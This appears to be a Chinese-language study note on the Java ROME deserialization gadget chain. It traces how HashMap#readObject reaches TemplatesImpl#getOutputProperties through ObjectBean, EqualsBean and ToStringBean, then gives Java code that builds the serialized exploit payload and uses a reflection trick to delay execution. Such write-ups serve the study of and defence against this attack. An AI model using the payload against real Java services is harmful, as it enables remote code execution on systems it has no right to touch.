Rome反序列化
Gadget
/*
* Gadget:
* HashMap#readObject
* ObjectBean#hashCode
* EqualsBean#beanHashCode
* ToStringBean#toString
* TemplatesImpl#getOutputProperties
* */
HashMap#readObject
可以调用到任意一个类的 hashCode
方法,这里调用到的是 ObjectBean#hashCode
ObjectBean#hashCode
方法调用 beanHashCode
方法,属性类型为 EqualsBean
,即、调用 EqualsBean#beanHashCode
方法
EqualsBean#beanHashCode
方法调用任意类的 toString
方法
这里调用 ToStringBean#toString
方法,直接来到有参的 toString
方法
getPropertyDescriptors
获取类所有的 setter/getter
方法
然后遍历获取到的所有方法,如果是无参的方法则执行
那么这里可以构造使其调用到 TemplatesImpl#getOutputProperties
方法
构造 payload ,这里注意使用 Templates
接口,这样就只获取到 getOutputProperties
这一个方法进行执行,如果使用 TemplatesImpl
方法则获取到多个 setter/getter
,可能执行某个方法途中报错直接程序终止了
public class ROME {
public static byte[] getSerializeData() throws Exception{
TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();
// 这里使用 Templates 接口,只获取 getOutputProperties 方法,如果使用 TemplatesImpl.class 则会有比较多的方法,可能会在调用其它方法时出错而无法继续往下
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
// 先用 String.class 占位,这样不至于在 HashMap.put 的时候触发命令执行
ObjectBean objectBean = new ObjectBean(String.class,"ky");
HashMap hashMap = new HashMap();
hashMap.put(objectBean,1);
Reflect.reflectSetField(objectBean,"_equalsBean",equalsBean);
byte[] serialize = SerWithUnSer.serialize(hashMap);
return serialize;
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
byte[] bytes = getSerializeData();
SerWithUnSer.unSerialize(bytes);
}
}